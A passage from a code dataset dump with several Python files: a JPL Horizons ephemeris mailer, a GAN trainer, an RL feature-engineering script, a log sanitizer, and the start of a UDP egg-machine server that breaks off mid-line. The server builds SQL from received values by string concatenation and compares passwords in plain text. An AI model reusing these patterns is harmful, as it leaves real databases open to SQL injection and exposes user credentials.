sense for moons and does\n        not guarantee that nothing else (like Earth, Luna, a bright extrasolar\n        object) is in the line of sight!\n        Default: True if it is in the moons list, False otherwise.\n    \"\"\"\n    lobjnam = objnam.lower()\n\n    # Handle defaults\n    if get_axis_orientation == None:        # remember False is valid.\n        if lobjnam in should_have_orientation:\n            get_axis_orientation = True\n        else:\n            get_axis_orientation = False\n\n    if get_sub_long == None:                # remember False is valid.\n        if lobjnam in should_have_sublong:\n            get_sub_long = True\n        else:\n            get_sub_long = False\n    \n    if not return_address:    \n        fqdn = socket.getfqdn()\n    \n        # Only use the top two levels, i.e. eso.org and nrao.edu, not\n        # (faraday.)cv.nrao.edu.\n        domain = '.'.join(fqdn.split('.')[-2:])\n\n        return_address = os.getlogin() + '@' + domain\n\n    if not mailserver:\n        try:\n            #mailserver = socket.getfqdn(socket.gethostbyname('mail'))\n            mailserver = socket.getfqdn(socket.gethostbyname('smtp'))\n        except socket.gaierror:\n            print(\"Could not find a mailserver.\")\n            return False\n\n    if not startdate:\n        syr, smon, s_d, s_h, smin, s_s, swday, syday, sisdst = time.gmtime()\n        startdate = \"%d-%02d-%02d\" % (syr, smon, s_d)\n\n    if not date_incr:\n        date_incr = default_date_incrs.get(lobjnam,\n                                           default_date_incrs['default'])\n\n    if get_sep == None:\n        get_sep = (planets_and_moons.get(lobjnam, 99) % 100) < 99\n\n    # Get to work.\n    if lobjnam in asteroids:\n        objnum = str(asteroids[lobjnam]) + ';'\n    elif lobjnam in planets_and_moons:\n        objnum = str(planets_and_moons[lobjnam])\n    else:\n        #print \"The JPL object number for\", objnam, \"is not known.  Try looking it up at\"\n        #print 'http://ssd.jpl.nasa.gov/horizons.cgi?s_body=1#top and adding it.'\n        print(\" request_from_JPL() does not recognize the input object name, %s.\" % objnam)\n        print(\" The request will be sent as is without a check if it complies with the JPL-Horizons convention.\")\n        print(\" Please refer http://ssd.jpl.nasa.gov/horizons.cgi?s_body=1#top when you get \\\"no matches found\\\"\")\n        print(\" mail from the JPL-Horizons Systrem.\") \n        objnum=objnam\n        try:\n            isnum=int(objnum)\n        except:\n            objnum=\"DES=\"+objnam\n        \n        #return False\n\n    if obsloc and obsloc.lower() != 'geocentric':\n        print(\"Topocentric coordinates are not yet supported by this script.\")\n        print(\"Defaulting to geocentric.\")\n        # to set site coordinates,\n        # CENTER=coord@500\n        # COORD_TYPE='GEODETIC'\n        # SITE_COORD='E.lon,lat,height' (in deg and km)\n        # e.g for ALMA\n        # SITE_COORD='-67.7549290,-23.022886,5.05680'\n        \n    # 500@399: 399=earth 500=body center (==g@399==geo)\n    center = '500@399'\n\n    # quantities = [2, 10, 12, 19, 20, 24]\n    # Original default set of quantities: apparent RA/DEC, Illum. frac, ang. separation between\n    # non-lunar target and the center of primary body, helio range and range rate, observer\n    # range and range rate, S-T-O\n    # Bryan's request\n    #  [1,14,15,17,19,20,24]\n    # extra: 10\n    # need : 17\n    # new default quantities\n    quantities = [2, 12, 17, 19, 20, 24]\n    if not use_apparent:\n        quantities[0] = 1\n    if get_axis_orientation:\n        quantities.append(32)\n    if get_sub_long:\n        quantities.append(14)\n        quantities.append(15)\n    if not get_sep:\n        quantities.remove(12)\n    if not get_axis_ang_orientation:\n        quantities.remove(17)\n    print(\"Retrieved quantity code list=\",quantities)\n\n    # It seems that STEP_SIZE must be an integer, but the unit can be changed\n    # to hours or minutes.\n    match = re.match(r'([0-9.]+)\\s*([dhm])', date_incr)\n    n_time_units = float(match.group(1))\n    time_unit    = match.group(2)\n    if n_time_units < 1.0:\n        if time_unit == 'd':\n            n_time_units *= 24.0\n            time_unit = 'h'\n        if time_unit == 'h' and n_time_units < 1.0:     # Note fallthrough.\n            n_time_units *= 60.0\n            time_unit = 'm'\n        if n_time_units < 1.0:                          # Uh oh.\n            print(date_incr, \"is an odd request for a date increment.\")\n            print(\"Please change it or make your request manually.\")\n            return False\n        print(\"Translating date_incr from\", date_incr, end=' ')\n        date_incr = \"%.0f %s\" % (n_time_units, time_unit)\n        print(\"to\", date_incr)\n    \n    instructions = \"\\n\".join([\"!$$SOF\",\n                              \"COMMAND= '%s'\" % objnum,\n                              'CENTER= ' + center,\n                              \"MAKE_EPHEM= 'YES'\",\n                              \"TABLE_TYPE= 'OBSERVER'\",\n                              \"START_TIME= '%s'\" % startdate,\n                              \"STOP_TIME= '%s'\" % enddate,\n                              \"STEP_SIZE= '%s'\" % date_incr,\n                              \"CAL_FORMAT= 'CAL'\",  #date format(CAL,JD,or BOTH)\n                              \"TIME_DIGITS= 'MINUTES'\",\n                              \"ANG_FORMAT= 'DEG'\",\n                              \"OUT_UNITS= 'KM-S'\",\n                              \"RANGE_UNITS= 'AU'\",\n                              \"APPARENT= 'AIRLESS'\", # for apparent position\n                              \"SOLAR_ELONG= '0,180'\",\n                              \"SUPPRESS_RANGE_RATE= 'NO'\",\n                              \"SKIP_DAYLT= 'NO'\",\n                              \"EXTRA_PREC= 'NO'\",\n                              \"R_T_S_ONLY= 'NO'\",\n                              \"REF_SYSTEM= 'J2000'\",\n                              \"CSV_FORMAT= 'NO'\",\n                              \"OBJ_DATA= 'YES'\",\n                              \"QUANTITIES= '%s'\" % ','.join([str(q) for q in quantities]),\n                              '!$$EOF'])\n\n    # Set up a MIMEText object (it's a dictionary)\n    msg = MIMEText(instructions)\n\n    msg['To'] = \"horizons@ssd.jpl.nasa.gov\"\n    msg['Subject'] = 'JOB'\n    msg['From'] = return_address\n    msg['Reply-to'] = return_address\n\n    # Establish an SMTP object and connect to the mail server\n    s = smtplib.SMTP()\n    s.connect(mailserver)\n\n    # Send the email - real from, real to, extra headers and content ...\n    s.sendmail(return_address, msg['To'], msg.as_string())\n    s.close()\n\n    return True\n\ndef list_moons():\n    \"\"\"\n    List planets_and_moons in a more organized way.\n    \"\"\"\n    # Gather the moons by planet number.\n    planets = {}\n    moons = {}\n    for lcname in planets_and_moons:\n        num = planets_and_moons[lcname]\n        planet = num / 100\n        if num % 100 == 99:\n            planets[planet] = lcname.title()\n        else:\n            if planet not in moons:\n                moons[planet] = {}\n            moons[planet][num % 100] = lcname.title()\n\n    #print \"planets =\", planets\n    #print \"moons:\"\n    #for p in planets:\n    #    print planets[p]\n    #    print \" \", moons.get(p, \"None\")\n\n    # For formatting the output table, find the column widths,\n    # and maximum number of moons per planet.\n    maxmoons = max([len(moons.get(p, '')) for p in planets])\n    maxwidths = {}\n    for planet in planets:\n        if planet in moons:\n            maxwidths[planet] = max([len(m) for m in moons[planet].values()])\n        else:\n            maxwidths[planet] = 0\n        if len(planets[planet]) > maxwidths[planet]:\n            maxwidths[planet] = len(planets[planet])\n\n    # Set up the table columns.\n    plannums = planets.keys()\n    plannums.sort()\n    sortedmoons = {}\n    formstr = ''\n    hrule   = ''\n    for p in plannums:\n        formstr += '| %-' + str(maxwidths[p]) + 's '\n        if p == 1:\n            hrule += '|'\n        else:\n            hrule += '+'\n        hrule += '-' * (maxwidths[p] + 2)\n        moonkeys = moons.get(p, {}).keys()\n        moonkeys.sort()\n        sortedmoons[p] = {}\n        for row in xrange(len(moonkeys)):\n            sortedmoons[p][row] = moons[p][moonkeys[row]]\n    formstr += '|'\n    hrule   += '|'\n\n    print(formstr % tuple([planets[p] for p in plannums]))\n    print(hrule)\n    for row in xrange(maxmoons):\n        print(formstr % tuple([sortedmoons[p].get(row, '') for p in plannums]))\n\ndef list_asteroids():\n    \"\"\"\n    Like list_moons, but list the asteroids by their numbers\n    (= order of discovery, ~ albedo * size)\n    \"\"\"\n    astnums = asteroids.values()\n    astnums.sort()\n    invast = {}\n    for a in asteroids:\n        invast[asteroids[a]] = a.title()\n    for n in astnums:\n        print(\"%3d %s\" % (n, invast[n]))\n","sub_path":"jpl_horizons_ephemerides/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":18637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"452180700","text":"import torch\nimport torchvision\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import datasets\nfrom torchvision import transforms\nfrom torchvision.utils import save_image\nfrom torch.autograd import Variable\nfrom torchnet.meter import AverageValueMeter\nimport os\nimport ipdb\nimport tqdm\nfrom model import Generator, Discriminator\nfrom visualize import Visualizer\n\n\nos.environ.setdefault(\"CUDA_VISIBLE_DEVICES\",\"1\")\n\nbatch_size = 256\nnum_epoch = 200\nz_dimension = 100\nimg_resolution = 96\ndata_path = 'newdata/'  # 注意数据集图片存放的位置是/newdata/faces/1.jpg,2.jpg,3.jpg...\n\nimg_transform = transforms.Compose([\n        transforms.Resize(img_resolution),\n        transforms.CenterCrop(img_resolution),\n        transforms.ToTensor(),\n        transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n])\n\ndataset = datasets.ImageFolder(data_path, transform = img_transform)\ndataloader = torch.utils.data.DataLoader(dataset,\n                            batch_size=batch_size,\n                            shuffle=True,\n                            num_workers=4,\n                            drop_last=True\n                            )\n\nG, D = Generator(), Discriminator()\nmap_location = lambda storage, loc: storage\nD.load_state_dict(torch.load('checkpoints/D_199.pth', map_location=map_location))\nG.load_state_dict(torch.load('checkpoints/G_199.pth', map_location=map_location))\nif torch.cuda.is_available():\n    D = D.cuda()\n    G = G.cuda()\n\nG_optimizer = torch.optim.Adam(G.parameters(), lr = 2e-4, betas=(0.5, 0.999))\nD_optimizer = torch.optim.Adam(D.parameters(), lr = 2e-4, betas=(0.5, 0.999))\ncriterion = nn.BCELoss().cuda()\n\ntrue_labels = torch.ones(batch_size).cuda()\nfake_labels = torch.zeros(batch_size).cuda()\nfix_noises = torch.randn(batch_size, z_dimension, 1, 1).cuda()\nnoises = torch.randn(batch_size, z_dimension, 1, 1).cuda()\n\nerrorD_meter = AverageValueMeter()\nerrorG_meter = AverageValueMeter()\n\n\ndef train(**kwargs):\n    vis = Visualizer('GAN')     # 可视化\n    for epoch in range(num_epoch):\n        for i, (img, _) in tqdm.tqdm(enumerate(dataloader)):\n            real_img = img.cuda()\n\n            # train D\n            D_optimizer.zero_grad()\n\n            # 将 real_img 判断成 1\n            output = D(real_img)\n            D_loss_real = criterion(output, true_labels)\n            D_loss_real.backward()\n\n            # 将 fake_img 判断成 0\n            noises.data.copy_(torch.randn(batch_size, z_dimension, 1, 1))\n            fake_img = G(noises).detach()  # draw fake pic\n            output = D(fake_img)\n            D_loss_fake = criterion(output, fake_labels)\n            D_loss_fake.backward()\n            D_optimizer.step()\n\n            D_loss = D_loss_real + D_loss_fake\n            errorD_meter.add(D_loss.item())\n\n            if i % 5 == 0:  # train G every 5 batches\n                G_optimizer.zero_grad()\n                noises.data.copy_(torch.randn(batch_size, z_dimension, 1, 1))\n                fake_img = G(noises)\n                output = D(fake_img)\n                G_loss = criterion(output, true_labels)\n                G_loss.backward()\n                G_optimizer.step()\n                errorG_meter.add(G_loss.item())\n\n        if (epoch + 1) % 10 == 0:   # save model every 10 epochs\n\n            if os.path.exists('/tmp/debugGAN'):\n                ipdb.set_trace()\n            fix_fake_imgs = G(fix_noises)\n            vis.images(fix_fake_imgs.detach().cpu().numpy()[:64] * 0.5 + 0.5, win='fake image')\n            vis.images(real_img.data.cpu().numpy()[:64] * 0.5 + 0.5, win='real image')\n            vis.plot('errorD', errorD_meter.value()[0])\n            vis.plot('errorG', errorG_meter.value()[0])\n\n            torchvision.utils.save_image(fix_fake_imgs.data[:64], '%s/%s.png' % ('imgs', epoch), normalize=True,\n                                range=(-1, 1))\n            torch.save(D.state_dict(), 'checkpoints/D_%s.pth' % epoch)\n            torch.save(G.state_dict(), 'checkpoints/G_%s.pth' % epoch)\n            errorD_meter.reset()\n            errorG_meter.reset()\n\n\ndef generate(**kwargs):\n\n    G, D = Generator().eval(),Discriminator().eval()\n    noises = torch.randn(512, z_dimension, 1, 1).normal_(0, 1)  # search best from 521 imgs\n    noises = noises.cuda()\n\n    map_location = lambda storage, loc: storage\n    D.load_state_dict(torch.load('checkpoints/D_199.pth', map_location=map_location))   # use trained model\n    G.load_state_dict(torch.load('checkpoints/G_199.pth', map_location=map_location))\n    D.cuda()\n    G.cuda()\n\n    fake_img = G(noises)\n    scores = D(fake_img).detach()\n\n    indexs = scores.topk(64)[1]\n    result = []\n    for i in indexs:\n        result.append(fake_img.data[i])\n    # save the 64 best imgs\n    torchvision.utils.save_image(torch.stack(result), 'output/final4.png', normalize=True, range=(-1, 1))\n\nif __name__=='__main__':\n    import fire\n    fire.Fire()","sub_path":"AnimeGAN/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"89879680","text":"#%%\nimport pandas as pd\nimport numpy as np\nimport warnings\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import normalized_mutual_info_score\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.linear_model import Ridge\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import mutual_info_regression\nfrom sklearn.feature_selection import chi2\nfrom sklearn.exceptions import DataConversionWarning\n\nfrom preprocess import data_frame_min_max_norm\nfrom preprocess import data_frame_reg_to_cls\nfrom DQN_s_a_value import DQN1\nfrom DQN_a_index import DQN2\nfrom evaluation import downstream_task\nfrom evaluation import test_task\n\ndata = pd.read_csv(\"AirfoilSelfNoise.csv\")\n# data = pd.read_csv(\"ionosphere.csv\")\n# data = pd.read_csv(\"ionosphere_data.csv\")\n# data =data.replace({'column_ai': {'g': 1,'b':0}})\n\n# support TASK = 'cls' METRIC = 'acc' and TASK = 'reg' METRIC = 'mae'\n# TASK = 'cls'\n# METRIC = 'acc'\nTASK = 'reg'\nMETRIC = 'mae'\n\nMIN_SIZE_TIME = 1.2\nMAX_SIZE_TIME = 2.0\nOriginal_size = data.shape[1] - 1\n# normalize D0:\nD0 = data_frame_min_max_norm(data)\n# regression dataset to binary classification dataset\n# D0 = data_frame_reg_to_cls(D0)\n\n# record the optimal  dataset and loss\nD_OPT = D0\nLOSS_OPT = 1-downstream_task(D0, task=TASK, metric=METRIC)\n# LOSS_OPT = np.Inf\n\n#ignore warnings\nwarnings.filterwarnings(action='ignore', category=UserWarning)\n\n# O1 = ['sqrt', 'square','sin','cos']\nO1 = ['sqrt', 'square']\nO2 = ['+','-','*']\noperation_set = O1+O2\n\nEPISODES = 1\nSTEPS = 10\n\n#the parameters of DQN1\nSTATE_DIM = 64\nACTION_DIM = 8\nEPSILON = 0.9\nMEMORY_CAPACITY=10\n\n#the parameters of DQN2\nN_STATES = STATE_DIM + ACTION_DIM\nN_ACTIONS = len(operation_set)\n\ndqn_meta = DQN1(STATE_DIM=STATE_DIM, ACTION_DIM=ACTION_DIM, MEMORY_CAPACITY=MEMORY_CAPACITY)\ndqn_operation = DQN2(N_STATES=N_STATES, N_ACTIONS=N_ACTIONS,MEMORY_CAPACITY=MEMORY_CAPACITY)\n\ndef Feature_DB(X):\n    feature_matrix = []\n    for i in range(8):\n        feature_matrix = feature_matrix + list(X.describe().iloc[i,:].describe().values)\n    return feature_matrix\n\ndef choose_action(q_val_list):\n    if np.random.uniform() < EPSILON:\n        return np.argmax(np.array(q_val_list))\n    else:\n        return np.random.randint(0,len(q_val_list))\n\ndef select_meta_feature_from_data(Dg):\n    Dg = Dg.drop(Dg.columns[-1],axis=1)\n    state = Feature_DB(Dg)\n    q_val_list = []\n    for column in Dg.columns:\n        feature = Dg[column]\n        action = np.array(feature.describe())\n        q_val_list.append(dqn_meta.get_q_value(state,action).detach().numpy()[0])\n    act_index = choose_action(q_val_list)\n    return Dg.iloc[:,act_index], state\n\ndef select_new_feature_from_next_Dg(Dg_new):\n    Dg_new = Dg_new.drop(Dg_new.columns[-1],axis=1)\n    state_ = Feature_DB(Dg_new)\n    q_val_list = []\n    for column in Dg_new.columns:\n        feature = Dg_new[column]\n        action = np.array(feature.describe())\n        q_val_list.append(dqn_meta.get_q_value(state_,action).detach().numpy()[0])\n    act_index = np.argmax(q_val_list)\n    return Dg_new.iloc[:,act_index], state_\n\ndef select_operation_from_set(fm, Dg, operation_set):\n    Dg = Dg.drop(Dg.columns[-1], axis=1)\n    state = np.array(Feature_DB(Dg))\n    f_state = np.array(fm.describe())\n    c_state = np.hstack((state,f_state))\n    operation_index = dqn_operation.choose_action(c_state)\n    return operation_set[operation_index]\n\ndef justify_operation_type(o):\n    if o == 'sqrt':\n        o = np.sqrt\n    elif o == 'square':\n        o = np.square\n    elif o == 'sin':\n        o = np.sin\n    elif o == 'cos':\n        o = np.cos\n    elif o == '+':\n        o = np.add\n    elif o == '-':\n        o = np.subtract\n    elif o == '*':\n        o = np.multiply\n    else:\n        print(\"Please check your operation!\")\n    return o\n\ndef select_second_feature_from_set(fm,Dg,o):\n    y = Dg.iloc[:,-1]\n    relevance = []\n    for column in Dg.columns[:-1]:\n        relevance.append(normalized_mutual_info_score(o(fm,Dg[column]),y))\n    feature_ind = np.argmax(relevance)\n    return Dg.iloc[:,feature_ind]\n\n\n# def downstream_task(Dg):\n#     reg = Ridge(alpha=1.0)\n#     X = Dg.iloc[:,:-1]\n#     y = Dg.iloc[:,-1]\n#     X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0, shuffle=False)\n#     reg.fit(X_train,y_train)\n#     y_predict = reg.predict(X_test)\n#     return mean_absolute_error(y_test,y_predict)\n\ndef feature_selection_from_tabular(Dg):\n    pass\n\ndef cal_relevance(X,y):\n  if len(X.shape) == 1:\n    return normalized_mutual_info_score(X,y)\n  else:\n    N_col = X.shape[1]\n    sum = 0\n    for i in range(N_col):\n      sum += normalized_mutual_info_score(X.iloc[:,i],y)\n    return sum/X.shape[1]\n\nepisode = 0\nloss_list = [] # list of loss, each component is a list loss_list_episode\nloss_list_opt = []\nwhile episode< EPISODES:\n    loss_list_episode = [] #each component is a step loss\n    loss_list_episode_opt = []\n    Dg = D0\n    step = 0\n    while step < STEPS:\n        #select meta feature by RL\n        fm, state_meta = select_meta_feature_from_data(Dg)\n        #select operation from operations set by RL\n        o = select_operation_from_set(fm, Dg, operation_set)\n        #justify type of the selected operation and generate features.\n        fname = ''\n        fg = fm\n        o_index = operation_set.index(o)\n        if o in O1:\n            fname = fm.name + '_' + o\n            o = justify_operation_type(o)\n            fg = o(fm)\n        if o in O2:\n            #select the second feature from the remaining feature set.\n            # fname = fm.name + '_' + o\n            fname = fm.name + o\n            o = justify_operation_type(o)\n            fm2 = select_second_feature_from_set(fm,Dg,o)\n            fg = o(fm,fm2)\n            fname = fname +fm2.name\n        # if the generated feature name already exist in the dataset, continue\n        if fname in Dg.columns:\n            continue\n        # if the generated feature value already exist in the dataset, continue\n        for column in Dg.columns:\n            if max(np.abs(fg  - np.array(Dg.loc[:,column]))) < 1e-10:\n                continue\n        # normalize fg\n        scaler = MinMaxScaler()\n        fg = scaler.fit_transform(np.expand_dims(fg,axis=1)).squeeze()\n        #add fg into the Dg\n        Dg_new = Dg.copy()\n        Dg_new.insert(len(Dg.columns)-1,fname,np.array(fg))\n        fm_, state_meta_ = select_new_feature_from_next_Dg(Dg_new)\n        # Dg_new = pd.concat([Dg,pd.DataFrame(fg)],axis=1)\n        if TASK == 'reg':\n            new_loss = downstream_task(Dg_new, task=TASK, metric=METRIC)\n            old_loss = downstream_task(Dg, task=TASK, metric=METRIC)\n            reward_meta = -(new_loss-old_loss)\n        if TASK == 'cls':\n            new_loss = 1-downstream_task(Dg_new, task=TASK, metric=METRIC)\n            old_loss = 1-downstream_task(Dg, task=TASK, metric=METRIC)\n            reward_meta = -(new_loss - old_loss)\n        dqn_meta.store_transition(state_meta, np.array(fm.describe()),reward_meta, state_meta_, np.array(fm_.describe()))\n        # update dqn_meta,\n        if dqn_meta.memory_counter > dqn_meta.MEMORY_CAPACITY:\n            dqn_meta.learn()\n\n        #update dqn_operation\n        state_operation = np.hstack((state_meta,fm.describe()))\n        state_operation_ = np.hstack((state_meta_, fm_.describe()))\n        y = Dg.iloc[:,-1]\n        rel_Dg = cal_relevance(Dg,y)\n        # rel_Dg_new = cal_relevance(Dg_new)\n        # reward = rel_Dg_new - rel_Dg\n        reward = 1/Dg_new.shape[1] *(normalized_mutual_info_score(fg,y) - 1/Dg.shape[1]*rel_Dg)\n        dqn_operation.store_transition(state_operation, o_index, reward, state_operation)\n        if dqn_operation.memory_counter > dqn_operation.MEMORY_CAPACITY:\n            dqn_operation.learn()\n\n        # print(new_loss)\n        Dg = Dg_new\n        if new_loss < LOSS_OPT:\n            # Dg = Dg_new\n            D_OPT  = Dg_new\n            LOSS_OPT = new_loss\n\n        #conduct feature selection to control the data size of Dg\n        # Dg = feature_selection_from_tabular(Dg)\n        if Dg.shape[1] - 1 >= int(Original_size*MAX_SIZE_TIME):\n            X, y = Dg.iloc[:,:-1], Dg.iloc[:,-1]\n            fitted = SelectKBest(mutual_info_regression, k=int(Original_size*MIN_SIZE_TIME)).fit(X, y)\n            X_new = X.loc[:,fitted.get_support()]\n            Dg = pd.concat([X_new, y], axis=1)\n\n        # print(\"new loss is: {:.6f}, best loss is: {:.6f}\".format(new_loss,LOSS_OPT))\n        print(\"New accuracy is: {:.6f}, Best accuracy is: {:.6f}\".format(1-new_loss, 1-LOSS_OPT))\n        # print('new_loss:', new_loss, 'LOSS_OPT:', LOSS_OPT)\n        print(\"Step {} ends!\".format(step))\n        # record loss\n        loss_list_episode.append(1-new_loss)\n        loss_list_episode_opt.append(1-LOSS_OPT)\n        step += 1\n    print(\"Episode {} ends!\".format(episode))\n    loss_list.append(loss_list_episode)\n    loss_list_opt.append(loss_list_episode_opt)\n    episode += 1\n\nloss_df = pd.DataFrame(loss_list).T\nloss_opt_df = pd.DataFrame(loss_list_opt).T\nloss_df.to_csv(\"loss.csv\")\nloss_opt_df.to_csv(\"loss_opt.csv\")\nDg.to_csv(\"generated.csv\")\n\n# Evaluation:\nif TASK == 'reg':\n    mae0, rmse0 = test_task(D0,task=TASK)\n    mae1, rmse1 = test_task(D_OPT,task=TASK)\n    # print(mae0, mae1, rmse0, rmse1)\n    print(\"MAE on original is: {:.6f}, MAE on generated is: {:.6f}\".format(mae0, mae1))\n    print(\"RMSE on original is: {:.6f}, RMSE on generated is: {:.6f}\".format(rmse0, rmse1))\nif TASK == 'cls':\n    acc0, precision0, recall0,f1_0 = test_task(D0,task=TASK)\n    acc1, precision1, recall1,f1_1 = test_task(D_OPT,task=TASK)\n    # print(acc0, acc1, precision0,precision1, recall0,recall1,f1_0,f1_1)\n    print(\"Acc on original is: {:.6f}, Acc on generated is: {:.6f}\".format(acc0, acc1))\n    print(\"Pre on original is: {:.6f}, Pre on generated is: {:.6f}\".format(precision0, precision1))\n    print(\"Rec on original is: {:.6f}, Rec on generated is: {:.6f}\".format(recall0, recall1))\n    print(\"F-1 on original is: {:.6f}, F-1 on generated is: {:.6f}\".format(f1_0, f1_1))","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"473401673","text":"#!/usr/bin/python\nimport sys, getopt, re, hashlib, base64\n\n# Salts used for the SHA-1 hash\nsalt = {'ip' : 'change me!',\n        'username' : 'change me!',\n        'userid' : 'change me!',\n        'email' : 'change me!'}\n\n# List containing dicts of regexes that find sensitive data, \n# and field names that refer to regex fields and salts\nregex = [{'exp': '/user/(?P<username>[^\\? /]+)', \n          'field' : 'username'},\n         {'exp': '(\\?|&)email=(?P<email>[^ &]+)', \n          'field' : 'email'},\n\t\t # In one special case the verify-email line is embedded in a /login?uri=... line\n\t\t # This means that special characters are URL encoded, and we need to match them that way\n         {'exp': '(%3F|%3f|%26)email(%3D|%3d)(?P<email>[^ %]+%40[^%]+)', \n          'field' : 'email'},\t\t  \n         {'exp': '(\\?|&)userid=(?P<userid>\\d+)', \n          'field' : 'userid'},\n\t\t # This is also for the special case\n         {'exp': '(%3F|%3f|%26)userid(%3D|%3d)(?P<userid>\\d+)', \n          'field' : 'userid'},\t\t  \n         {'exp': '(\\?|&)conditions\\.(\\d)+\\.user_id=(?P<userid>\\d+)', \n          'field' : 'userid'},\n         {'exp': '(\\?|&)conditions\\.(\\d)+\\.name=(?P<username>[^ /]+)',\n          'field' : 'username'},\n         {'exp': '(\\?|&)conditions\\.(\\d)+\\.voter_id=(?P<userid>\\d+)',\n          'field' : 'userid'},\n         {'exp': '(\\?|&)conditions\\.(\\d)+\\.args\\.(\\d)+=(?P<userid>\\d+)',\n          'field' : 'userid'}]\n\t\t  \nhash_memo = {}\ndef hash(salt, value):\n    global hash_memo\n    key = salt + value\n    if key not in hash_memo:\n        hash_memo[key] = do_hash(key)\n    return hash_memo[key]\n\ndef do_hash(key):\n    return base64.urlsafe_b64encode(hashlib.sha1(key).digest())\n\n# Replace function for re.sub()\n# Takes the named group for the given field\n# Replaces the value with a hash\ndef replace(field):\n    def replace_string(matchobj):\n        new_hash = hash(salt[field], matchobj.group(field))\n        return matchobj.group(0).replace(matchobj.group(field), new_hash)\n    return replace_string\n\ndef main(stdin=sys.stdin, stdout=sys.stdout):\n    # Compile regexes\n    for r in regex:\n        r['exp'] = re.compile(r['exp'])\n\n    # Read input\n    for line in stdin:\n        # Split line into: timestamp, ip, http method, rest of line\n        [timestamp, ip, http_method, url, rest] = line.split(' ', 4)\n\n        # Hash IP\n        ip_hash = hash(salt['ip'], ip)\n\n        # Match regexes\n        for r in regex:\n            # Replace the current field's value\n            url = r['exp'].sub(replace(r['field']), url)\n\n        # Print line\n        stdout.write('%s %s %s %s %s' % (timestamp, ip_hash, http_method, url, rest))\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"sanitizing/log_sanitizer.py","file_name":"log_sanitizer.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"591906940","text":"# !/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom socket import *\nfrom common import *\nfrom mysql import *\n\ndef SendCodeBack(sock, client, data):\n\tdata = str(data)\n\tprint(\"+++\"+data+\"+++\")\n\tsock.sendto(data.encode(), client)\n\ndef CheckUser(receive_data):\n\tdata = receive_data.split('~')\n\tif(len(data) < 3):\n\t\treturn ReturnCode.DATA_ERR\n\tuser = str(data[0])\n\tpasswd = str(data[1])\n\t# TODO:check user\n\tconn = ConnDataBase(\"localhost\",\n\t\t\t\t\t\tconfig.sql_user,\n\t\t\t\t\t\tconfig.sql_passwd,\n\t\t\t\t\t\tconfig.database)\n\tresult = ExcuteSql(conn, \"select * from users where user_name=\"+\"'\"+user+\"'\")\n\tconn.close()\n\tif (str(result[0]['passwd']) == str(passwd)):\n\t\treturn data[2:], True\n\telse:\n\t\treturn \"\", ReturnCode.ERR_USER\n\ndef VaildData(receive_data):\n\tif(receive_data != '' and '~' in receive_data):\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef HandleDropCoin(sock, client, data):\n\tprint(\"HandleDropCoin\")\n\tprint(data)\n\tif(len(data) == 4):\n\t\tmachineCode = data[0]\n\t\tstate = data[1]\n\t\tdropCoinNum = data[2]\n\t\tdate = data[3]\n\t\tconn = ConnDataBase(\"localhost\",\n\t\t\t\t\t\t\tconfig.sql_user,\n\t\t\t\t\t\t\tconfig.sql_passwd,\n\t\t\t\t\t\t\tconfig.database)\n\t\tsql = \"select * from egg_machine where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tif (len(result) == 0):\n\t\t\tSendCodeBack(sock, client, ReturnCode.NO_RELATED_DATA)\n\t\t\treturn\n\t\tsql = \"insert into egg_coin_ac values (null, \"+machineCode+\", \"+state+\", \"+dropCoinNum+\", \"+date+\")\"\n\t\tresult = ExcuteSql(conn, sql)\n\t\tSendCodeBack(sock, client, ReturnCode.OK)\n\t\tconn.close()\n\telse:\n\t\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\ndef HandleMachineError(sock, client, data):\n\tprint(\"HandleMachineError\")\n\tprint(data)\n\tif(len(data) == 3):\n\t\tmachineCode = data[0]\n\t\terrorCode = data[1]\n\t\tdate = data[2]\n\t\tconn = ConnDataBase(\"localhost\",\n\t\t\t\t\t\t\tconfig.sql_user,\n\t\t\t\t\t\t\tconfig.sql_passwd,\n\t\t\t\t\t\t\tconfig.database)\n\t\tsql = \"select * from egg_machine where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tif (len(result) == 0):\n\t\t\tSendCodeBack(sock, client, ReturnCode.NO_RELATED_DATA)\n\t\t\treturn\n\t\tsql = \"select * from error_code_info where error_kind=\"+errorCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tif (len(result) == 0):\n\t\t\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\t\t\treturn\n\t\tsql = \"update egg_machine set error_kind=\"+errorCode+\", err_time=\"+date+\" where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tSendCodeBack(sock, client, ReturnCode.OK)\n\t\tconn.close()\n\telse:\n\t\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\ndef HandleInventory(sock, client, data):\n\tprint(\"HandleInventory\")\n\tprint(data)\n\tif(len(data) == 2):\n\t\tmachineCode = data[0]\n\t\tinventorStat = data[1]\n\t\tconn = ConnDataBase(\"localhost\",\n\t\t\t\t\t\t\tconfig.sql_user,\n\t\t\t\t\t\t\tconfig.sql_passwd,\n\t\t\t\t\t\t\tconfig.database)\n\t\tsql = \"select * from egg_machine where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tif (len(result) 